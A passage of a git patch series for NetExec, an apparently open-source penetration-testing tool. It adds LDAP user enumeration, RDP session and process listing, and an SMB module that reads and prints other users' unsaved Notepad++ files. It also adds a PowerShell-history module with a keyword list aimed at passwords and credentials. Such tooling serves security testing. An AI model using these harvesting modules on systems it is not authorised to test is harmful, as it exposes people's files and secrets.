-758,12 +798,7 @@ class ldap(connection): # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module parsed_pw_last_set = "" pwd_last_set = user.get("pwdLastSet", "") - if pwd_last_set != "": - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) # we default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") @@ -814,6 +849,25 @@ class ldap(connection): self.logger.fail(f"Skipping item, cannot process due to error {e}") def active_users(self): + """Helper function to format pwdLastSet""" + def pwd_last_set_func(pwd_last_set): + if pwd_last_set: + timestamp_seconds = int(pwd_last_set) / 10**7 + start_date = datetime(1601, 1, 1) + parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") + if parsed_pw_last_set == "1601-01-01 00:00:00": + return "" + return parsed_pw_last_set + + """Helper function to format userAccountControl""" + def user_account_control_cal(user_account_control): + if user_account_control is not None: # Check if user_account_control is not None + account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list + account_disabled = int(account_control) & 2 + if not account_disabled: + activeusers.append(user.get("sAMAccountName").lower()) + return activeusers + if len(self.args.active_users) > 0: arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") @@ -822,66 +876,90 @@ class ldap(connection): else: arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) - allusers = parse_result_attributes(resp) - count = 0 - activeusers = [] - argsusers = [] + if resp: + allusers = parse_result_attributes(resp) - if arg: - resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) - users_args = parse_result_attributes(resp_args) - # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing - for i in range(len(self.args.active_users)): - try: - argsusers.append(users_args[i]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - else: - argsusers = allusers + activeusers = [] + argsusers = [] - for user in allusers: - user_account_control = user.get("userAccountControl") - if user_account_control is not None: # Check if user_account_control is not None - account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list - account_disabled = int(account_control) & 2 - if not account_disabled: - count += 1 - activeusers.append(user.get("sAMAccountName").lower()) + if arg: + resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) + users_args = parse_result_attributes(resp_args) + # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing + for i in range(len(self.args.active_users)): + try: + argsusers.append(users_args[i]) + except Exception as e: + self.logger.debug("Exception:", exc_info=True) + self.logger.debug(f"Skipping item, cannot process due to error {e}") else: + argsusers = allusers + resp_args = allusers + + for user in allusers: + user_account_control = user.get("userAccountControl") + if user_account_control: + # Only shows users with userAccountControl value! If a enable user has not userAccountControl value, it wont be listing. + activeusers = user_account_control_cal(user_account_control) self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp_args: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return - self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + if self.username == "": + self.logger.display(f"Total records returned: {len(activeusers)}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + + for item in resp: + if not isinstance(item, ldapasn1_impacket.SearchResultEntry): + continue + + # Initialize default values + sAMAccountName = "N/A" + pwdcount = "N/A" + parsed_pw_last_set = "N/A" + description = "N/A" - for arguser in argsusers: - pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. - if pwd_last_set: # Checks if pwdLastSet is empty or not. - timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer. - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" + # Initialize the username as a fallback + if "objectName" in item: + # Extract the username from the objectName + sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] - if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + # Iterate over the attributes for each entry + for attribute in item["attributes"]: + attr_type = str(attribute["type"]) + attr_vals = attribute["vals"] + + if attr_type == "sAMAccountName": + sAMAccountName = str(attr_vals[0]) + elif attr_type == "badPwdCount": + pwdcount = str(attr_vals[0]) + elif attr_type == "pwdLastSet": + pwd_last_set = str(attr_vals[0]) + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + elif attr_type == "description": + description = str(attr_vals[0]) + + if sAMAccountName.lower() in activeusers: + self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<8}{description}") + + return + self.logger.display(f"Total records returned: {len(activeusers)}, total {len(allusers) - len(activeusers)} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - len(activeusers)} user(s) disabled") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + + for arguser in argsusers: + pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + + if arguser.get("sAMAccountName").lower() in activeusers and arg is False: + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: + self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + elif (arguser.get("sAMAccountName").lower() in activeusers): + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From f41988424949205f27e5a04c250ba506b622c008 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:47:47 +0200 Subject: [PATCH 017/376] Create Notepad++.py Signed-off-by: Deft_ --- nxc/modules/Notepad++.py | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 nxc/modules/Notepad++.py diff --git a/nxc/modules/Notepad++.py b/nxc/modules/Notepad++.py new file mode 100644 index 00000000..bc8cc3a1 --- /dev/null +++ b/nxc/modules/Notepad++.py @@ -0,0 +1,30 @@ +# Finds Notepad++ unsaved and backed up files +# Module by @Defte_ +from io import BytesIO + +class NXCModule: + name = "notepad++" + description = "Extracts notepad++ unsaved files." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """ """ + + def on_admin_login(self, context, connection): + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + try: + for file in connection.conn.listPath("C$", f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\{file.get_longname()}" + context.log.highlight(f"C:\\{file_path}") + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore") + context.log.highlight(f"\t{file_content}") + except Exception: + pass From ebb4d3e405eaadb147ab624ca4b8f863df24e719 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:52:04 +0200 Subject: [PATCH 018/376] [SMB] Add the Signed-off-by: Deft_ --- nxc/protocols/smb.py | 146 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 146 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f404c305..cdef68b0 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -28,6 +28,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE +from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker @@ -792,6 +793,151 @@ class smb(connection): self.logger.debug(f"ps_execute response: {response}") return response + def get_session_list(self): + with TSTS.TermSrvEnumeration(self.conn, self.host) as lsm: + handle = lsm.hRpcOpenEnum() + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult'] + lsm.hRpcCloseEnum(handle) + self.sessions = {} + for i in rsessions: + sess = i['SessionInfo']['SessionEnum_Level1'] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1] + self.sessions[sess['SessionId']] = { 'state' :state, + 'SessionName' :sess['Name'], + 'RemoteIp' :'', + 'ClientName' :'', + 'Username' :'', + 'Domain' :'', + 'Resolution' :'', + 'ClientTimeZone':'' + } + + def enumerate_sessions_info(self): + if len(self.sessions): + with TSTS.TermSrvSession(self.conn, self.host) as TermSrvSession: + for SessionId in self.sessions.keys(): + sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags']) + self.sessions[SessionId]['flags'] = sessflags + domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName'] + if not len(self.sessions[SessionId]['Domain']) and len(domain): + self.sessions[SessionId]['Domain'] = domain + username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName'] + if not len(self.sessions[SessionId]['Username']) and len(username): + self.sessions[SessionId]['Username'] = username + self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime'] + self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] + self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] + self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] + + def qwinsta(self): + desktop_states = { + 'WTS_SESSIONSTATE_UNKNOWN': '', + 'WTS_SESSIONSTATE_LOCK' : 'Locked', + 'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked', + } + self.get_session_list() + if not len(self.sessions): + return + self.enumerate_sessions_info() + + maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i in self.sessions]) + maxSessionNameLen = maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1 + maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 + maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1 + maxIdLen = max([len(str(i)) for i in self.sessions]) + maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1 + maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions]) + maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1 + maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions]) + maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1 + maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions]) + maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1 + template = ('{SESSIONNAME: <%d} ' + '{USERNAME: <%d} ' + '{ID: <%d} ' + '{STATE: <%d} ' + '{DSTATE: <9} ' + '{CONNTIME: <20} ' + '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + + result = [] + header = template.format( + SESSIONNAME = 'SESSIONNAME', + USERNAME = 'USERNAME', + ID = 'ID', + STATE = 'STATE', + DSTATE = 'Desktop', + CONNTIME = 'ConnectTime', + DISCTIME = 'DisconnectTime', + ) + + header2 = template.replace(' <','=<').format( + SESSIONNAME = '', + USERNAME = '', + ID = '', + STATE = '', + DSTATE = '', + CONNTIME = '', + DISCTIME = '', + ) + + header_verbose = '' + header2_verbose = '' + result.append(header+header_verbose) + result.append(header2+header2_verbose+'\n') + + for i in self.sessions: + connectTime = self.sessions[i]['ConnectTime'] + connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None' + + disconnectTime = self.sessions[i]['DisconnectTime'] + disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None' + userName = self.sessions[i]['Domain'] + '\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else '' + + row = template.format( + SESSIONNAME = self.sessions[i]['SessionName'], + USERNAME = userName, + ID = i, + STATE = self.sessions[i]['state'], + DSTATE = desktop_states[self.sessions[i]['flags']], + CONNTIME = connectTime, + DISCTIME = disconnectTime, + ) + row_verbose = '' + result.append(row+row_verbose) + + self.logger.success("Enumerated qwinsta sessions") + for row in result: + self.logger.highlight(row) + + def tasklist(self): + with TSTS.LegacyAPI(self.conn, self.host) as legacy: + try: + handle = legacy.hRpcWinStationOpenServer() + r = legacy.hRpcWinStationGetAllProcesses(handle) + except: + # TODO: Issue https://github.com/fortra/impacket/issues/1816 + self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") + return + if not len(r): + return None + self.logger.success("Enumerated processes") + maxImageNameLen = max([len(i['ImageName']) for i in r]) + maxSidLen = max([len(i['pSid']) for i in r]) + template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen) + self.logger.highlight(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage')) + self.logger.highlight(template.replace(': ',':=').format('','','','','')) + for procInfo in r: + row = template.format( + procInfo['ImageName'], + procInfo['UniqueProcessId'], + procInfo['SessionId'], + procInfo['pSid'], + '{:,} K'.format(procInfo['WorkingSetSize']//1000), + ) + self.logger.highlight(row) + def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") From a804041140cfa018d950c65dc4ef18266bf727ce Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:52:45 +0200 Subject: [PATCH 019/376] [SMB] Add the --qwinsta and --tasklist options Signed-off-by: Deft_ --- nxc/protocols/smb/proto_args.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 35dd8fe2..e45194e8 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -47,6 +47,8 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections") + mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes") wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries") wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") @@ -101,4 +103,4 @@ def get_conditional_action(baseAction): x.required = True super().__call__(parser, namespace, values, option_string) - return ConditionalAction \ No newline at end of file + return ConditionalAction From cc5016f75a8b5f8920d494460651e73cabc61f88 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:55:31 +0200 Subject: [PATCH 020/376] [SMB] Signed-off-by: Deft_ --- nxc/protocols/smb.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index cdef68b0..5b3f3783 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -829,7 +829,8 @@ class smb(connection): self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] - + + @requires_admin def qwinsta(self): desktop_states = { 'WTS_SESSIONSTATE_UNKNOWN': '', @@ -910,7 +911,8 @@ class smb(connection): self.logger.success("Enumerated qwinsta sessions") for row in result: self.logger.highlight(row) - + + @requires_admin def tasklist(self): with TSTS.LegacyAPI(self.conn, self.host) as legacy: try: From c2130aa67f28f49cc2cdb4bb145bd103e8ec8b5f Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Sat, 12 Oct 2024 02:23:41 +0200 Subject: [PATCH 021/376] Fix import errors for static binary --- netexec.spec | 2 ++ 1 file changed, 2 insertions(+) diff --git a/netexec.spec b/netexec.spec index 38057f5a..58ed7937 100644 --- a/netexec.spec +++ b/netexec.spec @@ -25,6 +25,7 @@ a = Analysis( 'impacket.dcerpc.v5.lsad', 'impacket.dcerpc.v5.gkdi', 'impacket.dcerpc.v5.rprn', + 'impacket.dcerpc.v5.even', 'impacket.dpapi_ng', 'impacket.tds', 'impacket.version', @@ -48,6 +49,7 @@ a = Analysis( 'pywerview.cli.helpers', 'pylnk3', 'pypykatz', + 'pyNfsClient', 'masky', 'msldap', 'msldap.connection', From 15f84fd93dd848fa4c76e84a76125d40bf8ebeba Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Sat, 12 Oct 2024 02:24:46 +0200 Subject: [PATCH 022/376] Fix encoding errors for log files etc when using non windows characters --- nxc/logger.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/logger.py b/nxc/logger.py index acacfcd4..b39aea3a 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -90,6 +90,7 @@ class NXCAdapter(logging.LoggerAdapter): rich_tracebacks=True, tracebacks_show_locals=False )], + encoding="utf-8" ) self.logger = logging.getLogger("nxc") self.extra = extra @@ -181,7 +182,7 @@ class NXCAdapter(logging.LoggerAdapter): open(output_file, "x") # noqa: SIM115 file_creation = True - file_handler = RotatingFileHandler(output_file, maxBytes=100000) + file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8") with file_handler._open() as f: if file_creation: From e583d5fbed08482107f9c6584417b152e9b36b1c Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Sat, 12 Oct 2024 02:26:25 +0200 Subject: [PATCH 023/376] Fix encoding for ldap results --- nxc/parsers/ldap_results.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index 439e240a..b9a68c83 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -8,7 +8,7 @@ def parse_result_attributes(ldap_response): continue attribute_map = {} for attribute in entry["attributes"]: - val = [str(val) for val in attribute["vals"].components] + val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components] attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] parsed_response.append(attribute_map) return parsed_response \ No newline at end of file From c7164b6c3f335b8f2bd1628c85edfb5b0353a1a5 Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Sat, 12 Oct 2024 02:29:16 +0200 Subject: [PATCH 024/376] Formating --- nxc/logger.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index b39aea3a..2a30a025 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -22,10 +22,11 @@ def parse_debug_args(): args, _ = debug_parser.parse_known_args() return args + def setup_debug_logging(): debug_args = parse_debug_args() root_logger = logging.getLogger("root") - + if debug_args.verbose: nxc_logger.logger.setLevel(logging.INFO) root_logger.setLevel(logging.INFO) @@ -35,7 +36,7 @@ def setup_debug_logging(): else: nxc_logger.logger.setLevel(logging.ERROR) root_logger.setLevel(logging.ERROR) - + def create_temp_logger(caller_frame, formatted_text, args, kwargs): """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated""" @@ -47,22 +48,24 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs): class SmartDebugRichHandler(RichHandler): """Custom logging handler for when we want to log normal messages to DEBUG and not double log""" + def __init__(self, formatter=None, *args, **kwargs): super().__init__(*args, **kwargs) if formatter is not None: self.setFormatter(formatter) - + def emit(self, record): """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno""" # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text - + if hasattr(record, "caller_frame"): frame_info = inspect.getframeinfo(record.caller_frame) record.pathname = frame_info.filename record.lineno = frame_info.lineno super().emit(record) + def no_debug(func): """Stops logging non-debug messages when we are in debug mode It creates a temporary logger and logs the message to the console and file @@ -72,7 +75,7 @@ def no_debug(func): def wrapper(self, msg, *args, **kwargs): if self.logger.getEffectiveLevel() >= logging.INFO: return func(self, msg, *args, **kwargs) - else: + else: formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0]) caller_frame = inspect.currentframe().f_back create_temp_logger(caller_frame, formatted_text, args, kwargs) @@ -95,7 +98,7 @@ class NXCAdapter(logging.LoggerAdapter): self.logger = logging.getLogger("nxc") self.extra = extra self.output_file = None - + logging.getLogger("impacket").disabled = True logging.getLogger("pypykatz").disabled = True logging.getLogger("minidump").disabled = True @@ -204,7 +207,7 @@ class NXCAdapter(logging.LoggerAdapter): datetime.now().strftime("%Y-%m-%d"), f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log", ) - + class TermEscapeCodeFormatter(logging.Formatter): """A class to strip the escape codes for logging to files""" From 84854173587fd66307a949313ac9e14601c6a261 Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Sat, 12 Oct 2024 15:07:35 +0200 Subject: [PATCH 025/376] Removing unsupported option in py3.8 --- nxc/logger.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/logger.py b/nxc/logger.py index 2a30a025..2c49e511 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -93,7 +93,6 @@ class NXCAdapter(logging.LoggerAdapter): rich_tracebacks=True, tracebacks_show_locals=False )], - encoding="utf-8" ) self.logger = logging.getLogger("nxc") self.extra = extra From 8211c33765a2ecedea7f5a1239ab98ac3e9f57ea Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 12 Oct 2024 09:24:18 -0400 Subject: [PATCH 026/376] Fix module loading for ssh, vnc and ftp --- nxc/protocols/ftp.py | 8 +++++++- nxc/protocols/ssh.py | 3 +++ nxc/protocols/vnc.py | 3 +++ 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index bf2a39ad..4a576cbe 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -25,7 +25,13 @@ class ftp(connection): def proto_flow(self): self.proto_logger() if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login(): - pass + if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") + self.call_modules() + else: + self.logger.debug("Calling command arguments") + self.call_cmd_args() def enum_host_info(self): welcome = self.conn.getwelcome() diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index a3394d55..c5afab97 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -33,8 +33,11 @@ class ssh(connection): return if self.login(): if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") self.call_modules() else: + self.logger.debug("Calling command arguments") self.call_cmd_args() self.conn.close() diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index fd3413f3..fb6e4d29 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -31,8 +31,11 @@ class vnc(connection): self.print_host_info() if self.login(): if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") self.call_modules() else: + self.logger.debug("Calling command arguments") self.call_cmd_args() def proto_logger(self): From a493c04e14eac4a214909ac375721b0b5d33f674 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 12 Oct 2024 10:51:58 -0400 Subject: [PATCH 027/376] Release v1.3.0 --- nxc/cli.py | 2 +- pyproject.toml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index d94e493b..46206169 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -22,7 +22,7 @@ def gen_cli_args(): except ValueError: VERSION = importlib.metadata.version("netexec") COMMIT = "" - CODENAME = "ItsAlwaysDNS" + CODENAME = "NeedForSpeed" nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}") generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) diff --git a/pyproject.toml b/pyproject.toml index fc7b33d7..e0fe8fbd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "netexec" -version = "1.2.0" +version = "1.3.0" description = "The Network Execution tool" authors = [ "Marshall Hallenbeck ", From 807e47200d09e1802e5499e801ce457d308b056e Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sat, 12 Oct 2024 18:46:22 +0200 Subject: [PATCH 028/376] [SMB] Powershell history module rework Signed-off-by: Deft_ --- nxc/modules/powershell_history.py | 103 ++++++++++++++---------------- 1 file changed, 47 insertions(+), 56 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 79de46a5..9ed8ff4d 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,73 +1,64 @@ -import traceback from os import makedirs from os.path import join, abspath from nxc.paths import NXC_PATH +from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n + # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" description = "Extracts PowerShell history for all users and looks for sensitive commands." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + sensitive_keywords = [ + "password", "passw", "secret", "credential", "key", + "get-credential", "convertto-securestring", "set-localuser", + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", + "invoke-webrequest", "invoke-restmethod" + ] - def options(self, context, module_options): - """To export all the history you can add the following option: -o export=True""" - context.log.info(f"Received module options: {module_options}") + def options(self, _, module_options): self.export = bool(module_options.get("EXPORT", False)) - context.log.info(f"Option export set to: {self.export}") - - def analyze_history(self, history): - """Analyze PowerShell history for sensitive information.""" - sensitive_keywords = [ - "password", "passwd", "passw", "secret", "credential", "key", - "get-credential", "convertto-securestring", "set-localuser", - "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod" - ] - sensitive_commands = [] - for command in history: - command_lower = command.lower() - if any(keyword.lower() in command_lower for keyword in sensitive_keywords): - sensitive_commands.append(command.strip()) - return sensitive_commands def on_admin_login(self, context, connection): - """Main function to retrieve and analyze PowerShell history.""" - try: - 